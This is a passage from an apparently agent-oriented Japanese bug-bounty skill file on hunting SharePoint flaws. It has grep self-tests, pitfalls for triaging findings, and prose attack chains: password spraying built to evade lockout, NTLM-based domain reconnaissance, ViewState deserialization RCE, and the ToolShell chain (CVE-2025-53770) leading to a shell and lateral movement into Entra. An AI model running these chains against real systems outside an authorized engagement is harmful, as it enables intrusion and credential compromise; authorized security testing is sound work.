  • 衛生面の検出事項をバグバウンティへの報告として扱う前のエンゲージメント種別の確認 → bb-methodology の PART 0 Mode-Confirmation Gate を参照してください。

検証

このセルフテストを実行して、SharePoint のハンティング準備が整っていることを確認します。

  1. スキルの整合性 — スキルファイルを読み取れて、形式が正しいことを確認します。

    grep -q "name: hunt-sharepoint" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls セクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。


注意点

  • CVE を伴わない SharePoint のバージョン情報の開示 — SP のバージョンを把握できることは情報提供にとどまります。対応する悪用可能な CVE が必要です。
  • /_layouts/ にアクセス可能だが、匿名操作はできない — パスに到達できることは偵察にすぎません。匿名での読み取り/書き込み/実行が必要です。
  • 悪用を伴わない EoL の SharePoint — 「SharePoint 2013 は EoL」という指摘は、脆弱性ではなくセキュリティ衛生上の問題です。実証されたエクスプロイトが必要です。
  • FormDigest の匿名発行 — 匿名で _api/contextinfo が FormDigest を返すことは ToolShell の前提条件であり、単独でバグとはいえません。
  • Modern 認証と Classic 認証の違い — SharePoint Online は Modern 認証(OAuth)を使用します。オンプレミスの SP は Classic 認証(NTLM/Kerberos)を使用する場合があります。攻撃対象領域は異なります。

関連スキルと攻撃チェーン

  • hunt-auth-bypass — レガシー SOAP の /_vti_bin/Authentication.asmx は、設定ミスのあるファームで匿名の Login 呼び出しを受け付けます。チェーンのプリミティブ:SharePoint の匿名 SOAP ログインプローブ → 応答から Cookie または成功判定の差異が得られた場合 → hunt-auth-bypass の総当たりマトリクス(タイミングによるユーザー名列挙、ADFS レベルのロックアウトを回避する同じ SOAP エンドポイントに対する低速のパスワードスプレー) → 有効な認証情報 → 認証済みの /_layouts/15/ サーフェス。
  • hunt-ntlm-info — すべての SharePoint ファームは /_vti_bin/ で匿名に WWW-Authenticate: NTLM を提示します。チェーンのプリミティブ:SharePoint の NTLM Type-2 チャレンジを取得 → hunt-ntlm-info による AV_PAIR のデコードで NetBIOS ドメイン、内部 DNS フォレスト、DC のホスト名を取得 → そのドメインを関連付けられたテナントに対する m365-entra-attack の ROPC ユーザー列挙スプレーに渡す。
  • hunt-aspnet — SharePoint は内部的には ASP.NET Webforms です。ViewState、machineKey、SafeControl のリフレクションがすべて適用されます。チェーンのプリミティブ:SharePoint のバージョン情報を開示 → パッチが適用されていないことを確認 → hunt-aspnet の ViewState デュアルパーサーによる MAC バイパス → デシリアライズ用ガジェット → ファームアカウントとして w3wp.exe で RCE。
  • hunt-rce — ToolShell の前提条件チェーン(CVE-2025-53770)は、現在の影響度の高い SP の RCE 経路です。チェーンのプリミティブ:ToolShell の前提条件を満たす(CVE-2025-49706 の認証バイパス経由で /_layouts/15/ToolPane.aspx?DisplayMode=Edit に到達可能 — ToolPane.aspx を指す細工された Referer ヘッダー — +脆弱なバージョン)→ hunt-rce のデシリアライズ用ガジェットチェーン → SYSTEM/ファームアカウントのシェル → 盗んだオンプレミスのサービスアカウントトークンを使って Entra と同期された ID へ横展開する m365-entra-attack。
  • triage-validation — SharePoint ファームでは、「検出結果のように見える」セキュリティ衛生上のノイズ(FormDigest の発行、バージョン情報の開示、拡張子ブロックリストの癖)が大量に発生します。チェーンのプリミティブ:報告前にすべての SP の検出結果を 7-Question Gate にかける — バージョン情報の開示だけの検出結果のほとんどは、対応する CVE の PoC がないため、「このファームで実際に悪用可能か」という段階で除外されます。
  • password-spray-methodology — すべてのプロトコルに対応する汎用パスワードスプレーのパイプラインと、エラーコードの差異

コメント